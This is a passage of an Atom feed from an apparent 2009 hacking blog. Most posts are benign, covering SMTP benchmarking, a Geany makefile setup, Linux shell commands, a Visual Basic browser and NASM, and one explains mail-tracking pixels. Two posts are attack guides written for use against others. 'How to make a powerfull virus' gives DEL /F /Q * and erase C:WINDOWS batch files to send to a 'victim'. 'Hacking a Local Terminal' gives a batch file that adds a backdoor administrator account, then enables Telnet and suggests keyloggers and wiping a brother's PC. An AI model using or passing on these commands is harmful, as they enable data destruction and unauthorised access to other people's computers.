/&gt;&lt;br /&gt;    * Making BHM simulate the more common anti-spam measures that are in use to determine the impact that they have on list servers&lt;br /&gt;&lt;br /&gt;    * Determining a solution to the problem of benchmarking DNS servers. This may mean just including documentation on how to simulate the use patterns of a mail server using someone else’s DNS benchmark, but may mean writing my own DNS benchmark.&lt;br /&gt;&lt;br /&gt;download link: http://www.coker.com.au/postal/postal-0.70.tgz&lt;br /&gt;&lt;br /&gt;reference: http://doc.coker.com.au/projects/postal/&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3260786454834177359-2878405536335610442?l=devilz-kiddies.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://devilz-kiddies.blogspot.com/feeds/2878405536335610442/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://devilz-kiddies.blogspot.com/2009/10/benchmark-smtp-servers.html#comment-form' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3260786454834177359/posts/default/2878405536335610442'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3260786454834177359/posts/default/2878405536335610442'/><link rel='alternate' type='text/html' href='http://devilz-kiddies.blogspot.com/2009/10/benchmark-smtp-servers.html' title='benchmark SMTP servers'/><author><name>kiddies</name><uri>http://www.blogger.com/profile/13318580746848806214</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_OQnLNZeuyqU/TPWY_Tjlt3I/AAAAAAAAABA/yzWi5koouns/S220/I%2BLoVe%2BU%2B4eVer.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3260786454834177359.post-2686112026180827888</id><published>2009-10-24T06:16:00.000-07:00</published><updated>2009-10-24T06:17:34.019-07:00</updated><title type='text'>Geany</title><content type='html'>Since a specific dependency can be passed as parameter when the makefile is called I guess an IDE uses this to execute the required command. For example:&lt;br /&gt;&lt;br /&gt;COMPILER = /usr/local/cris/bin/gcc-cris&lt;br /&gt;CFLAGS = -mlinux -o&lt;br /&gt;SOURCES = main.c&lt;br /&gt;TARGET = Hello_World&lt;br /&gt;DESTINATION = root@FOXBoard:/mnt/flash/bin/HelloWorld&lt;br /&gt;&lt;br /&gt;# top-level rule to create the program, executed by default if no params are provided&lt;br /&gt;all: compile&lt;br /&gt;&lt;br /&gt;# Called by pressing the Compile or Build button in Geanny&lt;br /&gt;compile: $(SOURCES)&lt;br /&gt;&lt;TAB&gt;$(COMPILER) $(CFLAGS) $(TARGET) $(SOURCES)&lt;br /&gt;&lt;br /&gt;build: compile&lt;br /&gt;&lt;br /&gt;&lt;TAB&gt;scp $(TARGET) $(DESTINATION)&lt;br /&gt;&lt;br /&gt;When the command make compile is executed, the code is only compiled. When the command make build it first executes the compile dependency and than copies the executable to the target. I would expect that the IDE provides the basic menu structure and allows the programmer to enter the command to execute when the menu item is selected. In that case, it’s easy to integrate custom compilers or special target needs in the default IDE.&lt;br /&gt;&lt;br /&gt;After spending a hour searching how this works in Anjuta I could not find how to make this work. It might be that Anjuta is already to complex for what I want, it is designed for working with huge open source projects, in my case it will be a couple of local files that need to be managed.&lt;br /&gt;&lt;br /&gt;Searching the internet for a simple Linux IDE results in several hits refering to Geany. The home page states “It was developed to provide a small and fast IDE, which has only a few dependencies from other packages”. Sounds like this is what I’m looking for. Using the Applications | Add/Remove… menu in Ubuntu shows that Geany can automaticly be installed.&lt;br /&gt;&lt;br /&gt;After installation and starting Geany it is easy to find your way in this program. First guess is that I will be needing to setup a new project, using the Project | New menu option. It asks for a project name (HelloWorld), the file to store the project settings in (HelloWorld.geany) and the base folder of the project (/home/jan/FOXBoard/HelloWorld). After pressing the create button I can open the files that I already created before manually (main.c).&lt;br /&gt;&lt;br /&gt;After opening the main.c file the Build menu options are enabled. Selection the Build | Compile menu command shows that gcc is used for compiling the application and that no errors are found. Nice, but I don’t want gcc but I want gcc-cris to be used, or actually I want that make is called with my own parameter.&lt;br /&gt;&lt;br /&gt;In the Build menu there is an option available Set includes and arguments, selecting this option shows a dialog that offers three input fields to enter commands for Compile, Build and Execute. Here the gcc command is listed, I guess these commands are indeed given to Linux to execute so entering make compile in the Compile field, make build in the Build field and make build in the Execute field should do the trick. After pressing the OK button and selecting Build | Compile the Compiler shows in blue the execute command (make compile (in directory:/home/jan/FOXBoard/HelloWorld)) and the output of the make program (/usr/local/cris/bin/gcc-cris -mlinux -o Hello_World main.c). After a second a blue message indicates that the Compilation finished successfully. The Build | Build menu command or the Build | Execute command does the same with the addition of executing the secure copy as well.&lt;br /&gt;&lt;br /&gt;In the Edit | Preferences menu you can select in the Toolbar tab the option to display a Compile and Run button. These buttons call the Build | Compile menu (and so make compile) and the Build | Execute menu (and so make build) to make life even more easy.&lt;br /&gt;&lt;br /&gt;On purpose a mistake is made in main.c to check how errors are handled. The printf is replaced by pri ntf, after pressing compile it shows an error in the Compiler tab and highlights the error in main.c. Very, very nice! It looks like I found my base for the developing code, next step would be to include a debugger as well.&lt;br /&gt;&lt;br /&gt;reference : &lt;a href="http://www.animalrobots.eu/?p=119"&gt;animalrobots&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3260786454834177359-2686112026180827888?l=devilz-kiddies.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://devilz-kiddies.blogspot.com/feeds/2686112026180827888/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://devilz-kiddies.blogspot.com/2009/10/geany.html#comment-form' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3260786454834177359/posts/default/2686112026180827888'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3260786454834177359/posts/default/2686112026180827888'/><link rel='alternate' type='text/html' href='http://devilz-kiddies.blogspot.com/2009/10/geany.html' title='Geany'/><author><name>kiddies</name><uri>http://www.blogger.com/profile/13318580746848806214</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_OQnLNZeuyqU/TPWY_Tjlt3I/AAAAAAAAABA/yzWi5koouns/S220/I%2BLoVe%2BU%2B4eVer.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3260786454834177359.post-7522790535016362684</id><published>2009-10-21T20:07:00.000-07:00</published><updated>2009-10-21T20:14:14.466-07:00</updated><title type='text'>how mailtracking(dot)com actully works.. get data from image</title><content type='html'>on the front end.......&lt;br /&gt;once we register our mail with &lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;mailtracking(dot)com&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;then we just have to add &lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;.mailtracking.com to the email addresses we have to send to&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;we can send email which they keep track and send us updates like..,&lt;br /&gt;&lt;br /&gt;when it was opened,&lt;br /&gt;to whom it was sent,&lt;br /&gt;etc... etc..&lt;br /&gt;&lt;br /&gt;//************************************************************//&lt;br /&gt;&lt;br /&gt;real facts behind this trick&lt;br /&gt;first of all,&lt;br /&gt;when we add &lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;.mailtracking.com&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;we are just sending our mail to them (their server)..&lt;br /&gt;proof : check the mail headers of the recipients, its actually from (something).mailtracking(dot)com,&lt;br /&gt;or check mailed by option in the received email in gmail, it will be like this : "mailed-by gmail.com.scdvbkrtxrndmvk.mailtracking.com"&lt;br /&gt;&lt;br /&gt;//***********************************************************//&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;second,&lt;br /&gt;they add few files which a normal and average user won't recognise..&lt;br /&gt;they add transparent images as shown below..&lt;br /&gt;&lt;br /&gt;these 2 are their images (steganography)&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;http://www.4fvxdj81zkxzh8.mailtracking.com/nocache/4fvxdj81zkxzh9/footer0.gif&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;size 1x1 px&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;http://www.4fvxdj81zkxzhh.mailtracking.com/nocache/4fvxdj81zkxzhQ/rspr47.gif&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;size 4x7 px&lt;br /&gt;&lt;br /&gt;and&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;https://tssls.4fvxdj81zkxzhv.MailTracking.com/nocache/4fvxdj81zkxzhv/rspr47.wav&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;otally 3 files..&lt;br /&gt;these files are added to email with html tags like &lt;img src="yourimage.gif"&gt; etc...&lt;br /&gt;and send to your recipients address..&lt;br /&gt;&lt;br /&gt;//************************************************************//&lt;br /&gt;&lt;br /&gt;when the user opens the image, the image is retrieved from their server, hence, your user agent is captured and so is the ip address..&lt;br /&gt;&lt;br /&gt;and you get info that your victim has read the email, or has forwarded&lt;br /&gt;&lt;br /&gt;//***********************************************************//&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;and the funny part is,&lt;br /&gt;people still don't realize this..&lt;br /&gt;when the image is being retrieved, the server recognizes the user agent, ip address etc..&lt;br /&gt;you wil get their ip, user agent, computer they use, etc...&lt;br /&gt;&lt;br /&gt;hack and enjoy...!!! &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;reference: cyberterrorist&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3260786454834177359-7522790535016362684?l=devilz-kiddies.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://devilz-kiddies.blogspot.com/feeds/7522790535016362684/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://devilz-kiddies.blogspot.com/2009/10/how-mailtrackingdotcom-actully-works.html#comment-form' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3260786454834177359/posts/default/7522790535016362684'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3260786454834177359/posts/default/7522790535016362684'/><link rel='alternate' type='text/html' href='http://devilz-kiddies.blogspot.com/2009/10/how-mailtrackingdotcom-actully-works.html' title='how mailtracking(dot)com actully works.. get data from image'/><author><name>kiddies</name><uri>http://www.blogger.com/profile/13318580746848806214</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_OQnLNZeuyqU/TPWY_Tjlt3I/AAAAAAAAABA/yzWi5koouns/S220/I%2BLoVe%2BU%2B4eVer.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3260786454834177359.post-1496282637826578950</id><published>2009-10-21T19:59:00.000-07:00</published><updated>2009-10-21T20:06:56.456-07:00</updated><title type='text'>How to make a powerfull virus with only notepad</title><content type='html'>****************( Works only for Linux and Win XP )****************&lt;br /&gt;&lt;br /&gt;To delete all folders/files just put this:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;DEL /F /Q *&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;Into notpad and save it as whateveryouwant.cmd&lt;br /&gt;&lt;br /&gt;It will delete all files on the computer even if they are read only and it will not promt you to do it. You will not think any thing has happend untill you try and do something.&lt;br /&gt;&lt;br /&gt;WARNING!!! DO NOT CLICK ON IT WHEN YOU HAVE CREATED IT, IT WILL DESTROY YOUR COMPUTER&lt;br /&gt;&lt;br /&gt;If you just want to delete the WINDOWS file do this:&lt;br /&gt;The only thing you need again is Notepad.&lt;br /&gt;Now, to test it, create a textfile called TEST.txt in C:&lt;br /&gt;Now in your notepad type "erase C:TEST.txt" (without the quotes). Then do a "Save As..." and save it as "Test.cmd".&lt;br /&gt;Now run the file "Test.cmd" then open up C: and you'll see your Test.txt is gone. Now, the real work begins:&lt;br /&gt;Go to Notpad and type erase C:WINDOWS (or C:LINUX if you have linux) and save it again as whateveryouwant.cmd. Now DON'T run the file or you'll lose your WINDOWS files. So, that's the virus. Now to take revenge. Send you file to your victim. Once she/he opens it. Her/his WINDOWS/LINUX files are gone. And have to install LINUX/WINDOWS again.&lt;br /&gt;Simple explanation:&lt;br /&gt;Go to notepad, type erase C:WINDOWS, save as whateveryouwant.cmd send to victim, once the victim opens it, the WINDOWS file will be gone and have to install WINDOWS again&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;reference:cyberterrorist&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3260786454834177359-1496282637826578950?l=devilz-kiddies.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://devilz-kiddies.blogspot.com/feeds/1496282637826578950/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://devilz-kiddies.blogspot.com/2009/10/how-to-make-powerfull-virus-with-only.html#comment-form' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3260786454834177359/posts/default/1496282637826578950'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3260786454834177359/posts/default/1496282637826578950'/><link rel='alternate' type='text/html' href='http://devilz-kiddies.blogspot.com/2009/10/how-to-make-powerfull-virus-with-only.html' title='How to make a powerfull virus with only notepad'/><author><name>kiddies</name><uri>http://www.blogger.com/profile/13318580746848806214</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_OQnLNZeuyqU/TPWY_Tjlt3I/AAAAAAAAABA/yzWi5koouns/S220/I%2BLoVe%2BU%2B4eVer.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3260786454834177359.post-999087125149890023</id><published>2009-10-13T08:36:00.000-07:00</published><updated>2009-10-13T08:42:52.421-07:00</updated><title type='text'>Hacking a Local Terminal</title><content type='html'>For the screenshots, I'll be using my Desktop PC and my Samsung Q1.&lt;br /&gt;&lt;br /&gt;You will need a USB Flash Drive and a separate computer connected to the same network.&lt;br /&gt;&lt;br /&gt;Wait until the target computer is available for use (maybe the person got up to check on something, who knows). As you enter the computer, you can do 2 things:&lt;br /&gt;&lt;br /&gt;1) Have a batch ready on your flash drive. The code should be a little something like this:&lt;br /&gt;&lt;blockquote&gt;@echo off&lt;br /&gt;net user SupportUser codemachine /add&lt;br /&gt;net localgroup administrators SupportUser /add&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;Good, this batch creates a backdoor administrator account on your target terminal. The second option was to do it by hand, but who wants to do that? The chances of having the time being cut short because of your flash drive being recognized are high, that's my opinion.&lt;br /&gt;&lt;br /&gt;Go to the Control Panel &gt; Administrative Tools &gt; Services &gt; Telnet&lt;br /&gt;Make sure that the Telnet service is online.&lt;br /&gt;&lt;br /&gt;Now scram, get out of there and head to your other computer. At a safe place, open up your Command prompt (or whatever you're using, I use Putty sometimes even though it sucks) and enter:&lt;br /&gt;&lt;blockquote&gt;telnet 192.168.*.*&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://imageflock.com/img/1255446089.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 456px; height: 440px;" src="http://imageflock.com/img/1255446089.png" border="0" alt="" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;You should get a message asking I'd you want to continue..&lt;br /&gt;&lt;br /&gt;You are about to send your password information to a remote computer in Internet zone. This might not be safe. Do you want to send anyway(y/n):&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://imageflock.com/img/1255446105.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 667px; height: 418px;" src="http://imageflock.com/img/1255446105.png" border="0" alt="" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;..otherwise you get the login screen. Enter your backdoor information and login. From there you can surf the directories and change peoples passwords. You can install a keylogger to everyones' startup directory, for example.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://imageflock.com/img/1255446126.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 667px; height: 418px;" src="http://imageflock.com/img/1255446126.png" border="0" alt="" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;If you are in a hurry and want to destroy someones PC forever, have someone sitting with the other PC and after you make your backdoor, instantly delete everything. Its very simple, my brother broke his macbook so he was using our old dell laptop. When he was out, I installed a backdoor and began messing around with him while he was online. For example, at the expense of my own Internet, I overloaded the connection and got him to shutdown. When he rebooted, his password was changed!&lt;br /&gt;&lt;br /&gt;Have fun and stay safe! ;)&lt;br /&gt;&lt;br /&gt;reference:hackforums&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3260786454834177359-999087125149890023?l=devilz-kiddies.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://devilz-kiddies.blogspot.com/feeds/999087125149890023/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://devilz-kiddies.blogspot.com/2009/10/hacking-local-terminal.html#comment-form' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3260786454834177359/posts/default/999087125149890023'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3260786454834177359/posts/default/999087125149890023'/><link rel='alternate' type='text/html' href='http://devilz-kiddies.blogspot.com/2009/10/hacking-local-terminal.html' title='Hacking a Local Terminal'/><author><name>kiddies</name><uri>http://www.blogger.com/profile/13318580746848806214</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_OQnLNZeuyqU/TPWY_Tjlt3I/AAAAAAAAABA/yzWi5koouns/S220/I%2BLoVe%2BU%2B4eVer.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3260786454834177359.post-1307753813784631552</id><published>2009-10-02T09:46:00.000-07:00</published><updated>2009-10-02T09:47:32.158-07:00</updated><title type='text'>linux shell commands</title><content type='html'>When opening a shell, your will be logged in with your active account to your home directory (this is usually in /home/user_name).&lt;br /&gt;&lt;br /&gt;check --&gt; that every command has lots of options available. To see all the manual pages for the specific command, simply type "man &lt;command&gt;". It is important to understand that under Linux operating systems, commands are case-sensitive. This means that "A" is different from "a".&lt;br /&gt;&lt;br /&gt;then go thorough files sys .... use:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;- pwd - Prints out on the screen the working directory (eg /etc/ssh)&lt;br /&gt;- cd - changes directory (eg cd .. - goes up one dir; cd etc - enters /etc dir)&lt;br /&gt;- ls - lists the content of the directory&lt;br /&gt;- mkdir - creates a new directory (mkdir dir_name)&lt;br /&gt;- touch - creates a new file (touch file_name)&lt;br /&gt;- rmdir - removes a directory (rmdir dir_name)&lt;br /&gt;- cp - copies a file/directory (cp source_file destination_file)&lt;br /&gt;- mv - moves a file/directory - also used for renaming a file or directory (mv old_location new_location or mv old_name new_name)&lt;br /&gt;- rm - removes files (rm file_name)&lt;br /&gt;&lt;br /&gt;To search a file, you can use&lt;br /&gt;&lt;br /&gt;- find &lt;search_criteria&gt; (used for filenames)&lt;br /&gt;- grep &lt;search_criteria) to search for content in the file.&lt;br /&gt;&lt;br /&gt;To view a file, you can use&lt;br /&gt;&lt;br /&gt;- more &lt;filename&gt; - will display a file page by page&lt;br /&gt;- cat &lt;filename&gt; - displays all the file&lt;br /&gt;- head &lt;filename&gt; - displays the first lines&lt;br /&gt;- tail &lt;filename&gt; - displays the last lines (useful for example when you want to view the last information logged in a file by the system for example)&lt;br /&gt;&lt;br /&gt;To edit a file you must use a built-in editor from the command-line. Generally, this is vi and it's used with the syntax vi &lt;filename&gt;.&lt;br /&gt;&lt;br /&gt;To uncompress an archive (usually tar.gz) you must use the tar command with the syntax tar -xvzf &lt;file_name&gt;.&lt;br /&gt;&lt;br /&gt;To print a file, use lpr &lt;filename&gt; command. Note that you must have some daemons up and running to manage the printer. Usually this is cups (Common UNIX Printing System) that comes with all major distributions.&lt;br /&gt;To remove a file from printer queue (you can list the queue with lpq command) you can use lprm &lt;filename&gt;.&lt;br /&gt;&lt;br /&gt;To mount/unmount (add in your file system as accessible media) use:&lt;br /&gt;&lt;br /&gt;- mount /mnt/floppy - to mount floppies&lt;br /&gt;- umount /mnt/floppy - to unmount floppie&lt;br /&gt;- mount /mnt/cdrom - to mount CD-ROMs&lt;br /&gt;- mount /mnt/cdrom - to unmount CD-ROMs&lt;br /&gt;&lt;br /&gt;They usually mount automatically, but you could end-up in the situation where you must do it manually.&lt;br /&gt;To mount a partition:&lt;br /&gt;First create a directory in /mnt (mkdir /mnt/my_new_drive) then use the mount command (mount /dev/source /mnt/my_new_drive) where /dev/source is the device (partition) you want to mount in your file system.&lt;br /&gt;&lt;br /&gt;If you want to connect to a remote host, use the ssh command. The syntax is ssh &lt;hostname&gt;.&lt;br /&gt;&lt;br /&gt;System management:&lt;br /&gt;&lt;br /&gt;- ps - shows the current processes running (useful: ps -A shows up all processes)&lt;br /&gt;In the list obtained by using ps command you will see a PID number (Process identification).&lt;br /&gt;&lt;br /&gt;This number is required to stop a service or application. Use kill &lt;PID&gt; to stop a task.&lt;br /&gt;&lt;br /&gt;- top - works somehow like the Task manager in Windows. It shows up the system resources, the processes running, average load, etc. Useful is top&lt;br /&gt;-d &lt;delay&gt; - sets up the refresh period. You can put any value from .1 (10 ms) to 100 (100 seconds) or even greater.&lt;br /&gt;&lt;br /&gt;- uptime will display the system's uptime and the load average for that moment, 5 minutes and 15 minutes in the past.&lt;br /&gt;&lt;br /&gt;Usually, the load average is calculated as the percent of system resources (processor, RAM, harddisk I/O, network load) used at that moment. 0.37 means that 37% was used. A greater value like 2.35 means that the system had to que some data because it should be 235% faster to compute all without problems. Anyhow, this can be different from distribution to distribution.&lt;br /&gt;&lt;br /&gt;- free - will display information on system's memory&lt;br /&gt;&lt;br /&gt;- ifconfig &lt;interface_name&gt; - view detailed information about your network interfaces; generally your ethernet network interface will be named eth0. You can also set up the network settings like IP address or so by using this command (see man ifconfig). If something goes wrong, you can also stop/start the interface by using ifconfig &lt;interface_name&gt; up/down&lt;br /&gt;&lt;br /&gt;- passwd - enables you to change your password (passwd own_user or others if you are logged in as root)&lt;br /&gt;&lt;br /&gt;- useradd - enables to add a new user (see man useradd)&lt;br /&gt;&lt;br /&gt;Anywhere you are, you cand use the TAB key to autocomplete a filename or command. This will be usefull when getting used to the commands available. You can also hit up arrow and down arrow to scroll through the history of the commands you entered.&lt;br /&gt;You can also use multiple command on one line. Let's say you want to create 3 directories at once. The syntax is mkdir dir1 ; mkdir dir2 ; mkdir dir3.&lt;br /&gt;Another useful thing is the pipe command. You can get a command output through another. Eg: man mkdir | tail will display the last lines in the manual pages of the mkdir command.&lt;br /&gt;&lt;br /&gt;If at anytime you are asked for the root account (the super-administrator of the system) you can login in temporary with it by using the su command. You should also include -l (su -l) parameter to switch the home folder and available commands too. Note that you will be prompted for a password too.&lt;br /&gt;&lt;br /&gt;To exit the shell type exit or logout. &lt;br /&gt;&lt;br /&gt;refrence:cyberterrorists.net&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3260786454834177359-1307753813784631552?l=devilz-kiddies.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://devilz-kiddies.blogspot.com/feeds/1307753813784631552/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://devilz-kiddies.blogspot.com/2009/10/linux-shell-commands.html#comment-form' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3260786454834177359/posts/default/1307753813784631552'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3260786454834177359/posts/default/1307753813784631552'/><link rel='alternate' type='text/html' href='http://devilz-kiddies.blogspot.com/2009/10/linux-shell-commands.html' title='linux shell commands'/><author><name>kiddies</name><uri>http://www.blogger.com/profile/13318580746848806214</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_OQnLNZeuyqU/TPWY_Tjlt3I/AAAAAAAAABA/yzWi5koouns/S220/I%2BLoVe%2BU%2B4eVer.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3260786454834177359.post-6619938081509178396</id><published>2009-09-22T14:20:00.000-07:00</published><updated>2009-09-22T14:25:42.156-07:00</updated><title type='text'>How to make a basic web browser.</title><content type='html'>Step one.&lt;br /&gt;&lt;br /&gt;Get visual basic 2008 here.&lt;br /&gt;&lt;br /&gt;Create a new form, select web app.&lt;br /&gt;&lt;br /&gt;Step two.&lt;br /&gt;&lt;br /&gt;Create 5 buttons, a web browser, and a text box. Tidy it up, make it cool.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Step three&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;The coding! Ok first, the five buttons are: Go, refresh, back, forward, home and stop.&lt;br /&gt;&lt;br /&gt;So for each buttons or what ever I give you the code, double click the object, and copy&amp;paste the code I give. Let's do this!&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Go button &lt;br /&gt;&lt;blockquote&gt;WebBrowser1.Navigate(TextBox1.Text)&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;Home button&lt;br /&gt;&lt;blockquote&gt;WebBrowser1.gohome()&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;Refresh button&lt;br /&gt;&lt;blockquote&gt;WebBrowser1.Refresh()&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;Back button&lt;br /&gt;&lt;blockquote&gt;WebBrowser1.GoBack&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;Forward button&lt;br /&gt;&lt;blockquote&gt;WebBrowser1.GoForward&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;Stop button&lt;br /&gt;&lt;blockquote&gt;WebBrowser1.Stop&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;Then press F5 and you're done! I hope this helped you! I might do another TuT on advanced browsers. Have fun!&lt;br /&gt;&lt;br /&gt;reference:hackforums.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3260786454834177359-6619938081509178396?l=devilz-kiddies.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://devilz-kiddies.blogspot.com/feeds/6619938081509178396/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://devilz-kiddies.blogspot.com/2009/09/how-to-make-basic-web-browser.html#comment-form' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3260786454834177359/posts/default/6619938081509178396'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3260786454834177359/posts/default/6619938081509178396'/><link rel='alternate' type='text/html' href='http://devilz-kiddies.blogspot.com/2009/09/how-to-make-basic-web-browser.html' title='How to make a basic web browser.'/><author><name>kiddies</name><uri>http://www.blogger.com/profile/13318580746848806214</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_OQnLNZeuyqU/TPWY_Tjlt3I/AAAAAAAAABA/yzWi5koouns/S220/I%2BLoVe%2BU%2B4eVer.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3260786454834177359.post-8590010352303522001</id><published>2009-09-19T12:11:00.000-07:00</published><updated>2009-09-19T12:12:15.454-07:00</updated><title type='text'>NASM - The Netwide Assembler description</title><content type='html'>NASM - The Netwide Assembler is 80x86 assembler designed for portability and modularity.&lt;br /&gt;&lt;br /&gt;NASM is an 80x86 assembler designed for portability and modularity. The project supports a range of object file formats including Linux a.out and ELF, COFF, Microsoft 16-bit OBJ and Win32. It will also output plain binary files.&lt;br /&gt;&lt;br /&gt;Its syntax is designed to be simple and easy to understand, similar to Intel's but less complex. It supports Pentium, P6, MMX, 3DNow! and SSE opcodes, and has macro capability. It includes a disassembler as well.&lt;br /&gt;&lt;br /&gt;The Netwide Assembler grew out of an idea on comp.lang.asm.x86 (or possibly alt.lang.asm - I forget which), which was essentially that there didn't seem to be a good free x86-series assembler around, and that maybe someone ought to write one.&lt;br /&gt;&lt;br /&gt;- a86 is good, but not free, and in particular you don't get any 32-bit capability until you pay. It's DOS only, too.&lt;br /&gt;- gas is free, and ports over DOS and Unix, but it's not very good, since it's designed to be a back end to gcc, which always feeds it correct code. So its error checking is minimal. Also, its syntax is horrible, from the point of view of anyone trying to actually write anything in it. Plus you can't write 16-bit code in it (properly).&lt;br /&gt;- as86 is Minix- and Linux-specific, and (my version at least) doesn't seem to have much (or any) documentation.&lt;br /&gt;- MASM isn't very good, and it's (was) expensive, and it runs only under DOS.&lt;br /&gt;- TASM is better, but still strives for MASM compatibility, which means millions of directives and tons of red tape. And its syntax is essentially MASM's, with the contradictions and quirks that entails (although it sorts out some of those by means of Ideal mode). It's expensive too. And it's DOS-only.&lt;br /&gt;&lt;br /&gt;So here, for your coding pleasure, is NASM. At present it's still in prototype stage - we don't promise that it can outperform any of these 